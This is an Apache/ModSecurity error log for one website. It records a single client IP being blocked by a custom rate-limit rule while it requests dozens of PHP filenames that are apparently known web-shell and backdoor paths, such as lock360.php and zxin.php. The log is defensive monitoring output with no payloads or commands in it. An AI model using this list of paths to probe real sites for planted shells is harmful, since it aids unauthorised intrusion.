[Mon Apr 06 01:48:30.083603 2026] [:error] [pid 51580:tid 51644] [client 172.213.161.161:34081] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/menu.php"] [unique_id "adKgblNFl1NiyNgNZAk_iwAAAEU"]
[Mon Apr 06 01:48:30.620458 2026] [:error] [pid 51584:tid 51714] [client 172.213.161.161:34054] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jp.php"] [unique_id "adKgbsZ4qY_GoNCPARAxPwAAANE"]
[Mon Apr 06 01:48:31.209672 2026] [:error] [pid 51580:tid 51645] [client 172.213.161.161:34098] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jp.php"] [unique_id "adKgb1NFl1NiyNgNZAk_kgAAAEY"]
[Mon Apr 06 01:48:31.840461 2026] [:error] [pid 51580:tid 51643] [client 172.213.161.161:38894] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jp.php"] [unique_id "adKgb1NFl1NiyNgNZAk_lwAAAEQ"]
[Mon Apr 06 01:48:33.074128 2026] [:error] [pid 51581:tid 51671] [client 172.213.161.161:34056] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jp.php"] [unique_id "adKgcd4k74fhQLPUy7FMQQAAAII"]
[Mon Apr 06 01:48:36.145823 2026] [:error] [pid 51753:tid 51826] [client 172.213.161.161:19544] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/v.php"] [unique_id "adKgdK3pmp1JkaicYbuUMQAAAQ8"]
[Mon Apr 06 01:48:38.303673 2026] [:error] [pid 51580:tid 51640] [client 172.213.161.161:9770] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/v.php"] [unique_id "adKgdlNFl1NiyNgNZAk_pwAAAEE"]
[Mon Apr 06 01:48:39.865360 2026] [:error] [pid 51580:tid 51650] [client 172.213.161.161:19569] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/v.php"] [unique_id "adKgd1NFl1NiyNgNZAk_rgAAAEs"]
[Mon Apr 06 01:48:41.337458 2026] [:error] [pid 51753:tid 51812] [client 172.213.161.161:9747] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/v.php"] [unique_id "adKgea3pmp1JkaicYbuUPAAAAQE"]
[Mon Apr 06 01:48:41.923015 2026] [:error] [pid 51753:tid 51817] [client 172.213.161.161:2369] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/te.php"] [unique_id "adKgea3pmp1JkaicYbuUQAAAAQY"]
[Mon Apr 06 01:48:42.827555 2026] [:error] [pid 51753:tid 51820] [client 172.213.161.161:9744] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/te.php"] [unique_id "adKgeq3pmp1JkaicYbuURAAAAQk"]
[Mon Apr 06 01:48:43.624054 2026] [:error] [pid 51753:tid 51812] [client 172.213.161.161:9111] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/te.php"] [unique_id "adKge63pmp1JkaicYbuUSgAAAQE"]
[Mon Apr 06 01:48:44.378816 2026] [:error] [pid 51580:tid 51647] [client 172.213.161.161:9781] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/te.php"] [unique_id "adKgfFNFl1NiyNgNZAk_vgAAAEg"]
[Mon Apr 06 01:48:45.071380 2026] [:error] [pid 51580:tid 51649] [client 172.213.161.161:2418] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless.php"] [unique_id "adKgfVNFl1NiyNgNZAk_wQAAAEo"]
[Mon Apr 06 01:48:45.694922 2026] [:error] [pid 51584:tid 51706] [client 172.213.161.161:28714] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless.php"] [unique_id "adKgfcZ4qY_GoNCPARAxaAAAAMk"]
[Mon Apr 06 01:48:46.274941 2026] [:error] [pid 51580:tid 51655] [client 172.213.161.161:9261] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless.php"] [unique_id "adKgflNFl1NiyNgNZAk_xgAAAFA"]
[Mon Apr 06 01:48:46.818464 2026] [:error] [pid 51581:tid 51671] [client 172.213.161.161:34093] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless.php"] [unique_id "adKgft4k74fhQLPUy7FMWgAAAII"]
[Mon Apr 06 01:48:47.314428 2026] [:error] [pid 51581:tid 51688] [client 172.213.161.161:13780] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/12.php"] [unique_id "adKgf94k74fhQLPUy7FMXAAAAJM"]
[Mon Apr 06 01:48:47.904668 2026] [:error] [pid 51753:tid 51823] [client 172.213.161.161:38873] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/12.php"] [unique_id "adKgf63pmp1JkaicYbuUTwAAAQw"]
[Mon Apr 06 01:48:48.586440 2026] [:error] [pid 51753:tid 51812] [client 172.213.161.161:64220] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/12.php"] [unique_id "adKggK3pmp1JkaicYbuUUgAAAQE"]
[Mon Apr 06 01:48:49.366594 2026] [:error] [pid 51584:tid 51702] [client 172.213.161.161:40425] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/12.php"] [unique_id "adKggcZ4qY_GoNCPARAxcAAAAMU"]
[Mon Apr 06 01:48:49.870192 2026] [:error] [pid 51581:tid 51686] [client 172.213.161.161:34051] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class-t.api.php"] [unique_id "adKggd4k74fhQLPUy7FMXwAAAJE"]
[Mon Apr 06 01:48:50.571643 2026] [:error] [pid 51584:tid 51706] [client 172.213.161.161:38880] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class-t.api.php"] [unique_id "adKggsZ4qY_GoNCPARAxdQAAAMk"]
[Mon Apr 06 01:48:51.511565 2026] [:error] [pid 51753:tid 51815] [client 172.213.161.161:19543] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class-t.api.php"] [unique_id "adKgg63pmp1JkaicYbuUWwAAAQQ"]
[Mon Apr 06 01:48:52.313382 2026] [:error] [pid 51580:tid 51649] [client 172.213.161.161:34068] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class-t.api.php"] [unique_id "adKghFNFl1NiyNgNZAk_2wAAAEo"]
[Mon Apr 06 01:48:53.083067 2026] [:error] [pid 51753:tid 51825] [client 172.213.161.161:28695] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bolt.php"] [unique_id "adKgha3pmp1JkaicYbuUYAAAAQ4"]
[Mon Apr 06 01:48:54.075721 2026] [:error] [pid 51753:tid 51835] [client 172.213.161.161:40394] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bolt.php"] [unique_id "adKghq3pmp1JkaicYbuUZAAAARc"]
[Mon Apr 06 01:48:54.927118 2026] [:error] [pid 51753:tid 51824] [client 172.213.161.161:2373] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bolt.php"] [unique_id "adKghq3pmp1JkaicYbuUaQAAAQ0"]
[Mon Apr 06 01:48:55.716939 2026] [:error] [pid 51753:tid 51834] [client 172.213.161.161:38129] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bolt.php"] [unique_id "adKgh63pmp1JkaicYbuUcQAAARY"]
[Mon Apr 06 01:48:57.754208 2026] [:error] [pid 51580:tid 51651] [client 172.213.161.161:34083] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lock360.php"] [unique_id "adKgiVNFl1NiyNgNZAk_6AAAAEw"]
[Mon Apr 06 01:48:58.439310 2026] [:error] [pid 51581:tid 51674] [client 172.213.161.161:19575] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lock360.php"] [unique_id "adKgit4k74fhQLPUy7FMawAAAIU"]
[Mon Apr 06 01:48:59.443024 2026] [:error] [pid 51581:tid 51681] [client 172.213.161.161:13803] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lock360.php"] [unique_id "adKgi94k74fhQLPUy7FMbQAAAIw"]
[Mon Apr 06 01:49:00.088717 2026] [:error] [pid 51584:tid 51700] [client 172.213.161.161:13527] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lock360.php"] [unique_id "adKgjMZ4qY_GoNCPARAxhQAAAMM"]
[Mon Apr 06 01:49:00.579554 2026] [:error] [pid 51580:tid 51642] [client 172.213.161.161:8503] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/public/manager.php"] [unique_id "adKgjFNFl1NiyNgNZAk_7AAAAEM"]
[Mon Apr 06 01:49:01.085337 2026] [:error] [pid 51584:tid 51717] [client 172.213.161.161:13799] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/public/manager.php"] [unique_id "adKgjcZ4qY_GoNCPARAxiAAAANQ"]
[Mon Apr 06 01:49:01.610344 2026] [:error] [pid 51753:tid 51828] [client 172.213.161.161:11558] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/public/manager.php"] [unique_id "adKgja3pmp1JkaicYbuUiwAAARE"]
[Mon Apr 06 01:49:02.602676 2026] [:error] [pid 51584:tid 51711] [client 172.213.161.161:24251] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/public/manager.php"] [unique_id "adKgjsZ4qY_GoNCPARAxjAAAAM4"]
[Mon Apr 06 01:49:03.363253 2026] [:error] [pid 51753:tid 51811] [client 172.213.161.161:11545] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "adKgj63pmp1JkaicYbuUmAAAAQA"]
[Mon Apr 06 01:49:04.963558 2026] [:error] [pid 51753:tid 51831] [client 172.213.161.161:9853] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "adKgkK3pmp1JkaicYbuUqAAAARQ"]
[Mon Apr 06 01:49:07.662410 2026] [:error] [pid 51580:tid 51647] [client 172.213.161.161:10805] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "adKgk1NFl1NiyNgNZAk_9QAAAEg"]
[Mon Apr 06 01:49:19.495242 2026] [:error] [pid 51580:tid 51648] [client 172.213.161.161:13565] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inde.php"] [unique_id "adKgn1NFl1NiyNgNZAlAIgAAAEk"]
[Mon Apr 06 01:49:20.553829 2026] [:error] [pid 51580:tid 51660] [client 172.213.161.161:8508] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inde.php"] [unique_id "adKgoFNFl1NiyNgNZAlAKQAAAFU"]
[Mon Apr 06 01:49:21.176198 2026] [:error] [pid 51753:tid 51834] [client 172.213.161.161:40433] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inde.php"] [unique_id "adKgoa3pmp1JkaicYbuU5QAAARY"]
[Mon Apr 06 01:49:21.874316 2026] [:error] [pid 51581:tid 51681] [client 172.213.161.161:10549] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inde.php"] [unique_id "adKgod4k74fhQLPUy7FMhQAAAIw"]
[Mon Apr 06 01:49:22.454671 2026] [:error] [pid 51581:tid 51672] [client 172.213.161.161:10542] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "adKgot4k74fhQLPUy7FMhwAAAIM"]
[Mon Apr 06 01:49:23.083276 2026] [:error] [pid 51753:tid 51832] [client 172.213.161.161:27172] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "adKgo63pmp1JkaicYbuU8gAAARU"]
[Mon Apr 06 01:49:23.608801 2026] [:error] [pid 51581:tid 51676] [client 172.213.161.161:38082] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "adKgo94k74fhQLPUy7FMjQAAAIc"]
[Mon Apr 06 01:49:24.096080 2026] [:error] [pid 51584:tid 51699] [client 172.213.161.161:9836] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "adKgpMZ4qY_GoNCPARAxwQAAAMI"]
[Mon Apr 06 01:49:24.679348 2026] [:error] [pid 51753:tid 51816] [client 172.213.161.161:39741] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "adKgpK3pmp1JkaicYbuU9wAAAQU"]
[Mon Apr 06 01:49:25.247652 2026] [:error] [pid 51581:tid 51673] [client 172.213.161.161:11857] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "adKgpd4k74fhQLPUy7FMkwAAAIQ"]
[Mon Apr 06 01:49:25.891868 2026] [:error] [pid 51580:tid 51655] [client 172.213.161.161:13544] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "adKgpVNFl1NiyNgNZAlAOwAAAFA"]
[Mon Apr 06 01:49:26.366774 2026] [:error] [pid 51753:tid 51825] [client 172.213.161.161:9797] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "adKgpq3pmp1JkaicYbuU_QAAAQ4"]
[Mon Apr 06 01:49:26.869313 2026] [:error] [pid 51580:tid 51641] [client 172.213.161.161:8452] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zxin.php"] [unique_id "adKgplNFl1NiyNgNZAlAQAAAAEI"]
[Mon Apr 06 01:49:27.359398 2026] [:error] [pid 51581:tid 51694] [client 172.213.161.161:64253] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zxin.php"] [unique_id "adKgp94k74fhQLPUy7FMnQAAAJg"]
[Mon Apr 06 01:49:27.863963 2026] [:error] [pid 51581:tid 51677] [client 172.213.161.161:24202] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zxin.php"] [unique_id "adKgp94k74fhQLPUy7FMnwAAAIg"]
[Mon Apr 06 01:49:28.376552 2026] [:error] [pid 51581:tid 51682] [client 172.213.161.161:8498] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zxin.php"] [unique_id "adKgqN4k74fhQLPUy7FMogAAAI0"]
